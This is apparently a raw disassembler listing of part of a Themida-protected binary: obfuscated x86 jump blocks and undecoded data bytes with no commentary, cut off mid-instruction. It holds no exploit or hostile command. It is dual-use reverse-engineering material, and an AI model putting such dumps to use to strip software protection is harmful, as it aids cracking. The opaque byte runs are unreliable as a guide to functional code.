loc_50C151:				; CODE XREF: Themida_:0050671Aj
		mov	ebp, 0ECB28D13h
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_51327E
; ---------------------------------------------------------------------------


loc_50C163:				; CODE XREF: Themida_:0050CA0Fj
		push	edi
		mov	edi, 3889719Ch
		sub	[esp+4], edi
		jmp	loc_509729
; ---------------------------------------------------------------------------
		dw 0C283h
		dd 24148704h, 4C4835Ch,	0FFA673E9h, 0C40558FFh,	891346D1h
		dd 0FBEFE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C18E:				; CODE XREF: Themida_:00508B36j
		xor	edi, 0F17B2FF0h
		mov	ebx, edi
		pop	edi
		jmp	loc_511DA1
; ---------------------------------------------------------------------------
		dd 2BBh, 5BD90100h, 0AA54E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C1A9:				; CODE XREF: Themida_:00506BF4j
		sub	ebp, ebx
		jmp	loc_506712
; ---------------------------------------------------------------------------


loc_50C1B0:				; CODE XREF: Themida_:0050F067j
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_508DCE
; ---------------------------------------------------------------------------
		db 81h
		dd 2E4498E9h, 243C8B0Ah, 4C481h, 0C870000h, 24248B24h
		dd 204CE9h, 4C48100h, 68000000h, 33ACh,	0E9243489h, 9B18h
		dd 55D30159h, 0FFBA7FE9h, 24048FFFh, 3124248Bh,	3C33243Ch
		dd 243C3124h, 61F9E9h
		db 0
byte_50C209	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005027FCo
		dd offset dword_4D985C+8Dh
		dd 81FA0100h, 4910AAC2h, 74696810h, 0C890000h, 0EA685024h
		dd 8B19AB42h, 0D1E92404h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50C22F:				; CODE XREF: Themida_:0050DFBCj
		pop	ebp
		jmp	loc_506456
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 74FF2414h, 0E95A0424h, 0B3BAh, 95E9DF29h
		dd 800000BCh, 156880EBh, 8900005Ah, 0A4B5240Ch,	39F0E952h
		dd 48B0000h, 91D8E924h,	4050000h, 5000000h, 4, 2474FF50h
		dd 6AC6E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C27E:				; CODE XREF: Themida_:0050AD4Dj
		mov	[esp], ebp
		push	2C9E7A9Bh
		jmp	loc_50DC20
; ---------------------------------------------------------------------------
		db 83h
		dd 0C60104C4h, 8A9EE81h, 0EE815859h, 536D2128h,	582434FFh
		dd 0AFE95455h, 1000037h, 240C8BCFh, 4C481h, 20E90000h
		db 96h,	2 dup(0FFh)
byte_50C2B7	db 66h			; DATA XREF: Themida_:00502A40o
		dd 6824048Bh, 7AB2h, 873E9h, 14206800h,	9CE90000h, 89000058h
		dd 68532404h, 5ED22391h, 0A8BE565Bh, 8178D92Dh,	0E50C31F6h
		dd 8FCE8120h, 0E94D471Eh, 0FFFF718Ah
; ---------------------------------------------------------------------------


loc_50C2F0:				; CODE XREF: Themida_:00516BD6j
		add	ecx, edi
		add	ecx, 5B396260h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50C932
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 45E95B5Eh, 8300009Ah, 0EF8104C4h,	5B0F0F73h, 9197E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C322:				; CODE XREF: Themida_:005175E5j
		xor	esi, edi
		pop	edi
		mov	edx, 9FD29A7Eh
		sub	edx, 3430691Fh
		sub	edx, 5D240122h
		jmp	loc_5098D2
; ---------------------------------------------------------------------------
		db 52h
		dd 0BC50DCBAh, 0F7F28764h, 42F287D6h, 0E281D2F7h, 347C2350h
		dd 0C281DAF7h, 243C0054h, 0FFF6EEE9h, 1102DFFh,	0F029071Dh
		dd 7C33BE56h, 0E6815013h, 5E744580h, 4E03E681h,	52E9082Ch
		dd 29000008h, 815A5AD6h, 0A06910EEh, 68CE0139h,	359h, 0B9240C89h
		dd 50E95415h, 5D05E9h, 0E9535D00h, 0FFFF7A2Bh, 57A2BB53h
		dd 0DF897DE3h, 685Bh, 99E90000h, 89000015h, 0D6E9241Ch
		dd 81FFFF95h, 4C3h, 4EB8300h, 5C241C87h, 89241489h, 6897E9E2h
		dd 0BE56FFFFh, 28B7279Fh, 0FFAFD9E9h, 82E958FFh, 68FFFFA6h
		dd 620Bh, 0BB241C89h, 2, 1C8BDD01h, 4C48124h, 87000000h
		dd 665C242Ch, 9C242CD3h, 0FF66C2E9h, 0DEF281FFh, 0C16C2A47h
		dd 6805E2h, 29000000h, 575A2414h, 0FFADF1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C421:				; CODE XREF: Themida_:005107C1j
		pop	ecx
		jmp	loc_503CA3
; ---------------------------------------------------------------------------
byte_50C427	db 0FFh			; DATA XREF: Themida_:005029F4o
		dd 669D1C77h, 1CD36659h, 94E99C24h, 5AFFFF66h, 0F657B551h
		dd 53CDFEDDh, 0FD28D4B7h, 8B2434FFh, 0C481241Ch, 4, 7E6EE9h
		dd 14875C00h, 24248B24h, 0E9241489h, 0FFFF6667h
; ---------------------------------------------------------------------------


loc_50C464:				; CODE XREF: Themida_:005171B6j
		add	ebp, edx
		pop	edx
		add	ebp, eax
		jmp	loc_50C915
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FFE424E9h, 89515BFFh, 4EC81D1h, 89000000h, 0FF5F240Ch
		dd 81592434h, 4C4h, 2434FF00h, 8669E95Ah
		db 2 dup(0)
word_50C49A	dw 8B66h		; DATA XREF: Themida_:00502910o
		dd 0EF682404h, 8900003Eh, 0EC81242Ch, 4, 68242489h, 2DD6h
		dd 57240C89h, 4BFh, 5FF98900h, 4244C01h, 2434FF59h, 5D54555Dh
		dd 4C581h, 0C5810000h, 4, 5C242C87h, 4B951h, 0CAE90000h
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C4E7:				; CODE XREF: Themida_:00506B3Dj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_513992
; ---------------------------------------------------------------------------
		dw 0DD2Dh
		dd 31355FF4h, 2434FFC3h, 8BA3E958h, 8159FFFFh, 4C1h, 68525700h
		dd 68E94D52h, 0FFD69FE9h, 243433FFh, 33243431h,	248B2434h
		dd 83F1E924h, 53520000h, 1C2A2C68h, 0E3C15B36h,	0BD555605h
		dd 0
		dd 295DEE89h, 5EF387DEh, 4886EB81h, 81530073h, 3714242Ch
		dd 0A1E90866h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50C553:				; CODE XREF: Themida_:00505C96j
		and	ebp, 63857CBFh
		jmp	loc_50725C
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 78F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C565:				; CODE XREF: Themida_:005157F4j
		sub	al, bl
		add	al, 0E6h
		mov	ebx, [esp]
		jmp	loc_513723
; ---------------------------------------------------------------------------
		db 68h,	0F8h, 21h
		dd 24890000h, 24048124h, 4, 5D6D6858h, 1C890000h, 4BB24h
		dd 0D8010000h, 0FF73A7E9h, 242C89FFh, 0D0E9E589h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C59F:				; CODE XREF: Themida_:00503EB9j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_51223E
; ---------------------------------------------------------------------------


loc_50C5AD:				; CODE XREF: Themida_:00508F91j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_50779E
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 28A13052h, 6363C281h, 0D689AD7Bh, 0BE56535Ah, 5E6152C2h
		dd 2AF68146h, 89520779h, 0C7E95EF3h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C5DF:				; CODE XREF: Themida_:00517725j
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		sub	eax, 30857E2Ah
		add	eax, edx
		add	eax, 30857E2Ah
		pop	edx
		xchg	eax, [esp]
		jmp	loc_509FEC
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0EE9240Ch, 81FFFFB4h, 4C4h, 0FFC83100h, 83592434h
		dd 0C8904ECh, 55595424h, 435EE9h, 0DC58100h, 101C437h
		dd 0B268E9CDh, 0EC81FFFFh, 2, 241C8966h, 741E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C641:				; CODE XREF: Themida_:0050F91Dj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_517517
; ---------------------------------------------------------------------------


loc_50C656:				; CODE XREF: Themida_:0050B67Fj
		push	ebx
		add	dword ptr [esp], 673D1037h
		mov	edi, [esp]
		jmp	loc_5139E8
; ---------------------------------------------------------------------------
		dw 158h
		dd 4EC81F1h, 89000000h,	34B82404h, 297D905Ah, 0C5E958C1h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C67F:				; CODE XREF: Themida_:005177C8j
		shr	edx, 1
		jmp	loc_516625
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 0EBB15BE9h, 59C8016Fh, 432268h, 242C8900h, 0FB26FCBDh
		dd 4B736828h, 0C890000h, 13FAB924h, 0E9C13EAFh,	55BE5603h
		dd 817C294Ah, 294A54EEh, 5EF1297Ch, 0B7EEB850h,	4AE9E3DBh
		dd 5600005Fh, 6A7873BEh, 9882B853h, 0F02996F9h,	0FFD181E9h
		dd 0E9315DFFh, 1CF7515Dh, 0E91BE924h
		db 2 dup(0FFh)
word_50C6E6	dw 478Fh		; DATA XREF: Themida_:00502860o
		dd 63DDE940h, 248BFFFFh, 9CC88424h, 0FF63D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C6F9:				; CODE XREF: Themida_:005137F4j
		add	esp, 4
		jmp	loc_516C10
; ---------------------------------------------------------------------------


loc_50C701:				; CODE XREF: Themida_:00515709j
		pop	eax
		jmp	loc_504497
; ---------------------------------------------------------------------------
		db 5
		dd 4, 44D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C711:				; CODE XREF: Themida_:005060FBj
		xor	[esp], edi
		jmp	loc_515E64
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0A0h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C71F:				; CODE XREF: Themida_:00511DD8j
		pop	edx
		add	ebx, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_50CF36
; ---------------------------------------------------------------------------


loc_50C739:				; CODE XREF: Themida_:00511B5Bj
		pop	ebp
		jmp	loc_50BB69
; ---------------------------------------------------------------------------
		db 89h
		dd 58C389E8h, 0A48B95Dh, 0D901325Ah, 81241C8Bh,	4C4h, 0F5E98100h
		dd 81F1EC13h, 1E0A39EAh, 48E95046h, 830000B0h, 0D8F704C4h
		dd 2D40D8F7h, 3C5C3C1Bh, 5658C289h, 0E5E9D689h,	0C0FFFFC2h
		dd 0EE8004EEh, 1BD5E9F7h, 0E9530000h, 0B598h
; ---------------------------------------------------------------------------


loc_50C790:				; CODE XREF: Themida_:00502E8Dj
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebp
		mov	ebp, 1
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		push	62920819h
		jmp	loc_504151
; ---------------------------------------------------------------------------
		db 0B9h
		dd 18910BF8h, 0FFEC78E9h, 89D989FFh, 240C8BC8h,	4C481h
		dd 0FAE90000h, 81000030h, 6C209EC1h, 5860E90Dh,	0FA890000h
		dd 5AD7015Fh, 8B243C87h, 8B662424h, 33682404h, 89000024h
		dd 0DB68240Ch, 5400007Bh, 8324048Fh, 0FF042404h, 0C8B2434h
		dd 4EC8124h, 0E9000000h, 0FFFFC296h, 6150685Bh,	1C890000h
		dd 4EC8324h, 89240C89h,	4C181E1h, 52000000h, 4BAh, 5AD12900h
		dd 6B4CE9h, 2BB00h, 0DA010000h,	83241C8Bh, 148704C4h, 0EF805C24h
		dd 19B15172h, 8C9F180h,	0A9F3E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C85A:				; CODE XREF: Themida_:005030D6j
		pop	edi
		inc	edi
		inc	edi
		jmp	loc_50EE75
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 67FD0353h, 0B2C6814Eh, 19802FCh, 9908E9F3h, 0AB60000h
		dd 5A66F730h, 505BFA88h, 0E18820B4h, 5AD13058h,	0F59CB00h
		dd 34FFC0B6h, 0E1895187h, 2EDAE956h, 0E7810000h, 3136053Ah
		dd 6E9CEF81h, 0F7810835h, 2793D6CDh, 0E95FFB21h, 3D33h
; ---------------------------------------------------------------------------


loc_50C8B4:				; CODE XREF: Themida_:00507ADDj
		add	eax, 5D6C5CF3h
		push	dword ptr [eax]
		pop	ecx
		mov	eax, [esp]
		add	esp, 4
		push	eax
		jmp	loc_516485
; ---------------------------------------------------------------------------


loc_50C8CB:				; CODE XREF: Themida_:00510BB9j
		shl	ebx, 4
		jmp	loc_5116D7
; ---------------------------------------------------------------------------
aIrsmm		db '‰à鬌',0
		align 2


loc_50C8DA:				; CODE XREF: Themida_:0050D90Cj
		mov	ebx, 605CB4h
		or	ebx, 4C635582h
		jmp	loc_50FDB5
; ---------------------------------------------------------------------------
		dw 8143h
		dd 937699C3h, 5BDD3121h, 3792C581h, 0BE563483h,	7D4C7B32h
		dd 42E7E681h, 814E7860h, 0C60486EEh, 0DEF74677h, 8983E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C915:				; CODE XREF: Themida_:0050C469j
		sub	ebp, 16342CDDh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_515058
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 590D80C2h, 7352E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C932:				; CODE XREF: Themida_:0050C301j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_507C67
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 95h
		dd 0E901D130h, 2864h, 0C8BCB89h, 4C48124h, 0E9000000h
		dd 0FFFFF8F0h
; ---------------------------------------------------------------------------


loc_50C958:				; CODE XREF: Themida_:0050F454j
		mov	bl, 49h
		xor	ah, bl
		jmp	loc_504D9D
; ---------------------------------------------------------------------------
		db 0B8h, 52h, 2Ch
		dd 0E8C11979h, 20BA5207h, 81298A6Fh, 0EE1B48C2h, 0FFEA833Ch
		dd 0DCEF281h, 2EE96CAEh
		db 6Ah,	2 dup(0FFh)
byte_50C983	db 66h			; DATA XREF: Themida_:005028DCo
		dd 0E9240C8Bh, 0FFFFCACFh
; ---------------------------------------------------------------------------


loc_50C98C:				; CODE XREF: Themida_:0050496Ej
		push	14A74485h
		jmp	loc_5042C6
; ---------------------------------------------------------------------------


loc_50C996:				; CODE XREF: Themida_:0051549Ej
		add	esp, 4
		sub	ecx, 241A664Ch
		xor	ecx, 459FCABDh
		push	5EEEh
		mov	[esp], ebx
		push	4D5Eh
		mov	[esp], esi
		mov	esi, ecx
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		push	ebx
		jmp	loc_509E52
; ---------------------------------------------------------------------------


loc_50C9C7:				; CODE XREF: Themida_:00517F39j
		xor	edi, edx
		jmp	loc_517F5B
; ---------------------------------------------------------------------------


loc_50C9CE:				; CODE XREF: Themida_:0050EA40j
		push	0F5h
		mov	[esp], esi
		jmp	loc_50A1F7
; ---------------------------------------------------------------------------


loc_50C9DB:				; CODE XREF: Themida_:00504AEDj
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		jmp	loc_50EA45
; ---------------------------------------------------------------------------
		dd offset loc_418E67+1
		dw 0E900h
		dd 532Ch
; ---------------------------------------------------------------------------


loc_50C9F0:				; CODE XREF: Themida_:0050AB1Aj
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	6B2Ah
		mov	[esp], eax
		push	4A9D32CCh
		pop	eax
		push	edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_50C163
; ---------------------------------------------------------------------------
dword_50CA14	dd 24048B66h, 3F6968h, 24348900h, 9E13E954h, 0B951FFFFh
					; DATA XREF: Themida_:00502840o
		dd 6C7913FEh, 7EE9CF01h, 810000AEh, 0FD4F95F1h,	3016801h
		dd 0C890000h, 38428F24h, 4EC8159h, 0E9000000h, 55E6h, 0C09FCB80h
		dd 0F38003EBh, 5BDE08E8h, 0E6C0CEFEh, 0BDF68002h, 285AF300h
		dd 0B978E9C3h, 34FFFFFFh, 242C8B24h, 4C481h, 0C4810000h
		dd 4, 5768EA29h, 89000010h, 1EE92404h, 6600008Ah, 51241C8Bh
		dd 0C181E189h, 4, 8702C183h, 0E95C240Ch, 0FFFFBCD7h, 0CE95340h
		dd 68FFFFF5h, 1BE0h, 0BD242C89h, 4A4B41E9h, 0E904EC83h
		dd 0FFFFA18Eh, 312733BEh, 0C1DEF753h, 0EE8103EEh, 1166787h
		dd 348BF129h, 4C48124h,	5B000000h, 19A4E181h, 0E98177E6h
		dd 2274F40Fh, 8159CD09h, 7F1DADEDh, 5B8507Bh, 2922A03Dh
		dd 0E90158C1h, 52D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_50CB05:				; CODE XREF: Themida_:00512DF6j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	74D9h
		mov	[esp], ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 2
		sub	esi, edx
		jmp	loc_515977
; ---------------------------------------------------------------------------
		dd 89241489h, 4BF57E2h,	1000000h, 243C8BFAh, 8304C483h
		dd 0E0E904ECh, 0BE000071h, 0D727E7h, 373DE9h, 3AE98100h
		dd 185A8EFh, 0EA8359CAh, 24148704h, 2414895Ch, 0C1E9E289h
		dd 8BFFFFAAh, 68662424h, 896646EFh, 0F6B7241Ch,	0E970B652h
		dd 0A54Fh, 5C240C87h, 6FB9E951h, 1C890000h, 0FE95424h
		dd 56FFFFBEh, 0FF8ACAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50CBA5:				; CODE XREF: Themida_:005178FCj
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 559F4CD7h
		neg	ecx
		dec	ecx
		and	ecx, 50EC63BBh
		jmp	loc_503B4D
; ---------------------------------------------------------------------------
		db 0F7h, 0DEh, 0E9h
		dd 172Ah, 0FF5EF2E9h, 685750FFh, 480F1F4Dh, 0FF7F9AE9h
		dd 0C2815AFFh, 5CFC6574h, 0FFF888E9h, 243C8BFFh, 14FEE955h
		dd 215A0000h, 0F28158C2h, 3C17C2BBh, 6DE9D331h,	290000ADh
		dd 682D5DEAh, 5686C49h,	4DF03E69h, 692DD001h, 524DF03Eh
		dd 6C4968BAh, 5AD00168h, 4EC815Ah, 89000000h, 26E92404h
		dd 0BE000063h, 3A7167h,	2D14E9h
		db 0
; ---------------------------------------------------------------------------


loc_50CC41:				; CODE XREF: Themida_:0050FC7Fj
		xor	ebp, 4C6A554Dh
		sub	ebp, 0EA5C3FEDh
		mov	eax, 0CB402E4Bh
		sub	eax, 783B0A65h
		jmp	loc_508A9E
; ---------------------------------------------------------------------------


loc_50CC5C:				; CODE XREF: Themida_:00512B9Dj
		pop	ebx
		jmp	loc_515F6C
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 0D9F5CBC5h, 5DE829D9h, 2404875Eh, 2104E9h, 66E95900h
		dd 0BF000053h, 3FFBFCF3h, 0E95FFD31h, 0FFFF98D5h, 0CE9E689h
		dd 0BDFFFF90h, 1DC1772Dh, 34FFEA31h, 242C8B24h,	8104C483h
		dd 4C4h, 68525600h, 59611D57h, 86C0BE5Ah, 0D62985AEh, 5EF2315Ah
		dd 2C5868h, 24148900h, 24148B5Bh, 8104C483h, 0DA31B3EBh
		dd 5BD83169h, 0E904EC83h, 0FFFF684Ah, 4C381h, 0C3810000h
		dd 4, 0FF9CF2E9h, 5EF589FFh, 4F2DED81h,	0BE561B99h, 46D409Ch
		dd 0EDB7C681h, 0EEC1085Fh, 93EE8102h, 2903334Bh, 814D5EF5h
		dd 9CF133EDh, 5DE901F2h, 0FFE271E9h, 4BF57FFh, 29000000h
		dd 39E95FFAh, 52000056h, 88E38853h, 0AEE95BDEh
		db 98h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50CD33:				; CODE XREF: Themida_:0050AF7Ej
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_50B155
; ---------------------------------------------------------------------------
		db 88h,	0C1h, 88h
		dd 240C8BCBh, 4C481h, 48B0000h,	4C48124h, 4000000h, 0E9D828EBh
		dd 41D2h, 8904EC83h, 0D1E92434h
		db 73h,	2 dup(0)
aM0SfqYiqsW	db '¬0ØSfQµYˆïéÃw',0    ; DATA XREF: Themida_:00502898o
		align 2
		dw 0BB66h
		dd 296664F7h, 6602245Ch, 0E9241C8Bh, 9310h
; ---------------------------------------------------------------------------


loc_50CD94:				; CODE XREF: Themida_:0050D4FFj
		xor	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_50F7E3
; ---------------------------------------------------------------------------


loc_50CDA3:				; CODE XREF: Themida_:0051313Bj
		shl	cl, 3
		dec	cl
		add	cl, 7Eh
		sub	bl, cl
		pop	ecx
		sub	bl, ah
		jmp	loc_50ADC6
; ---------------------------------------------------------------------------
		db 0E9h, 11h, 5Dh
		dd 0EF01FFFFh, 4C7815Dh, 68000000h, 6856h, 0FF243C89h
		dd 8B042474h, 0C483243Ch, 24048F04h, 0FFCE97E9h, 0E9DE01FFh
		dd 0FFFFC398h, 0D0A68h,	242C8900h, 2434FF54h, 0E92434FFh
		dd 0FFFFBF7Fh, 0A3ACE950h, 0D1F7FFFFh, 0AC25E9h, 14895C00h
		dd 0BA24h, 0EC810000h, 4, 68241C89h, 30C5624Eh,	54EB815Bh
		dd 436A4D20h, 0C412E953h, 0E389FFFFh, 4C381h, 0E9520000h
		dd 1C52h, 53846855h, 0C890000h,	0A03B924h, 0E95025DAh
		dd 0FFFFFB15h, 0E958C589h, 0FFFFC4CBh
; ---------------------------------------------------------------------------


loc_50CE54:				; CODE XREF: Themida_:00516AD9j
		pop	esp
		mov	[esp], esi
		mov	esi, 0FFFFFFFFh
		jmp	loc_5143DD
; ---------------------------------------------------------------------------


loc_50CE62:				; CODE XREF: Themida_:0051794Bj
		add	ecx, 12510E44h
		jmp	loc_515927
; ---------------------------------------------------------------------------
		db 2Dh,	4, 0
		dd 0FF500000h, 58042474h, 5C24048Fh, 0A722E9h, 3D4CB900h
		dd 0A0E9CA05h
		db 0DDh, 2 dup(0FFh)
byte_50CE8B	db 0ADh			; DATA XREF: Themida_:005028A8o
		dd 8C6F2105h, 56D80169h, 8C6F21BEh, 0DCBD5569h,	29595312h
		dd 0F0295DE8h, 12DCBA52h, 0D0015953h, 8FB5E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CEB2:				; CODE XREF: Themida_:0050EBB4j
		add	esi, 33F22AEBh
		shr	esi, 8
		not	esi
		jmp	loc_50E6AA
; ---------------------------------------------------------------------------


loc_50CEC2:				; CODE XREF: Themida_:00509C57j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5158B6
; ---------------------------------------------------------------------------
byte_50CECB	db 66h			; DATA XREF: Themida_:00502904o
		dd 8324048Bh, 348904ECh, 685E5424h, 211Fh, 0B8240489h
		dd 4, 29A7E9h, 4EE8300h, 8B243487h, 0C892424h, 7EA9E924h
		dd 0E831FFFFh, 8BC2895Dh, 0C4832404h, 626EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CF0A:				; CODE XREF: Themida_:00515065j
		mov	[esp], ecx
		push	ebx
		pop	ecx
		push	esi
		mov	esi, ecx
		mov	eax, esi
		jmp	loc_505447
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0Fh
		dd 53000063h, 0C137ADBBh, 13C38102h, 810AD550h,	0FC3AFEEBh
		dd 37A9E956h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50CF36:				; CODE XREF: Themida_:0050C734j
		push	esi
		jmp	loc_5048AC
; ---------------------------------------------------------------------------
		dd 0E9240489h, 0FFFFDEEDh, 0E92434FFh, 0FFFFE1EDh
; ---------------------------------------------------------------------------


loc_50CF4C:				; CODE XREF: Themida_:0051035Ej
		mov	[esp], esi
		jmp	loc_509860
; ---------------------------------------------------------------------------
		dd 5251C328h, 66D2B753h, 0F914E952h, 34FFFFFFh,	0C4815B24h
		dd 4, 0FF1C4721h, 83582434h, 50E904C4h,	81FFFF5Bh, 325952E9h
		dd 0FFCB89A7h, 0E9592434h, 8061h, 0BD242C89h, 2CBE533Eh
		dd 8819E9h, 0EF816600h,	29665C7Bh, 1665FFEh, 5665EF0h
		dd 2D6641ABh, 1663217h,	0C21EE9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CFB6:				; CODE XREF: Themida_:00505959j
		xor	eax, ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_51793A
; ---------------------------------------------------------------------------


loc_50CFC0:				; CODE XREF: Themida_:0050FC2Aj
		push	esi
		mov	esi, 68B035A8h
		jmp	loc_5109BF
; ---------------------------------------------------------------------------
		db 83h
		dd 0ED8004C4h, 21EF80E9h, 5266EF00h, 0F70021B6h, 0BE95A66h
		dd 81000008h, 0C5367CC7h, 11F78172h, 29DC0FE1h,	243C8BF8h
		dd 2904C483h, 7D6C05D8h, 1C8B12BBh, 4C48324h, 0FF5DCFE9h
		dd 0D0E959FFh
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50D00F:				; CODE XREF: Themida_:005054EDj
		pop	ebp
		add	[esp+8], ebx
		pop	ebx
		push	665Eh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_508769
; ---------------------------------------------------------------------------


loc_50D02A:				; CODE XREF: Themida_:00507D0Ej
		push	ebx
		mov	ebx, 56561AEDh
		xor	ebx, 15B07077h
		jmp	loc_515B25
; ---------------------------------------------------------------------------


loc_50D03B:				; CODE XREF: Themida_:005144D1j
		pop	edx
		add	ch, 94h
		jmp	loc_510EDE
; ---------------------------------------------------------------------------
		dd 0FF240487h, 0D0E92434h, 8BFFFFA9h, 0C481240Ch, 4, 0F706E0C1h
		dd 36CE05D0h, 0CE252988h, 0E94BAA60h, 1D8Eh, 24048F5Ch
		dd 6824248Bh, 56EDh, 0E9241489h, 0FFFF6E88h
; ---------------------------------------------------------------------------


loc_50D080:				; CODE XREF: Themida_:00515847j
		dec	ecx
		add	ecx, 0FADD9445h
		jmp	loc_5125F7
; ---------------------------------------------------------------------------


loc_50D08C:				; CODE XREF: Themida_:00516620j
		sub	edx, ebp
		add	edx, 1B6A4233h
		pop	ebp
		add	edx, eax
		add	edx, 23D06F6Ch
		jmp	loc_50FE00
; ---------------------------------------------------------------------------
word_50D0A2	dw 34FFh		; DATA XREF: Themida_:00502A54o
		dd 0EBE95824h, 58FFFFBCh, 0E924048Fh, 0FFFF5E0Ch, 85A4E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D0BA:				; CODE XREF: Themida_:005056CBj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		movzx	ecx, ax
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_50F050
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 53A41136h, 94F78147h, 0C118C271h, 0C9E908EFh, 0B8FFFF86h
		dd 4, 0FFA382E9h, 0A8F68FFh, 15E90000h,	81FFFFE8h, 4C4h
		dd 0E9D60100h, 631Bh, 2414F753h, 0E9935Bh, 550000A7h, 9B2EE9h
		dd 35CF8100h, 0E947FD7Dh, 122Fh
; ---------------------------------------------------------------------------


loc_50D124:				; CODE XREF: Themida_:00515F13j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50AD84
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5CF968F1h, 14890000h, 0E99C5024h, 0FFFF598Bh
; ---------------------------------------------------------------------------


loc_50D140:				; CODE XREF: Themida_:00503C20j
		mov	ecx, ebp
		jmp	loc_507848
; ---------------------------------------------------------------------------
		db 0C1h
		dd 4DE905EBh, 5FFFFFA8h, 28B768h, 24048900h, 0E8E95755h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50D15F:				; CODE XREF: Themida_:00505340j
		sub	ebp, 0F92140D3h
		mov	ecx, ebp
		pop	ebp
		sub	edi, ecx
		pop	ecx
		add	ebp, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	edx
		mov	edx, esp
		push	eax
		push	ebx
		push	0E8931DEh
		pop	ebx
		add	ebx, 665A2B5Fh
		jmp	loc_50301D
; ---------------------------------------------------------------------------
		dw 0FF5Ch
		dd 36E92434h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_50D193:				; CODE XREF: Themida_:0050BF72j
		mov	eax, 51E93698h
		and	eax, 57D4113h
		and	eax, 69737132h
		not	eax
		and	eax, 5E7E4375h
		sub	eax, 4A821F42h
		add	edx, eax
		pop	eax
		jmp	loc_516284
; ---------------------------------------------------------------------------
		dw 15Eh
		dd 49D605F0h, 0E95E6637h, 9003h
; ---------------------------------------------------------------------------


loc_50D1C4:				; CODE XREF: Themida_:005082A0j
		or	eax, eax
		jz	loc_509FE1
		push	61D8h
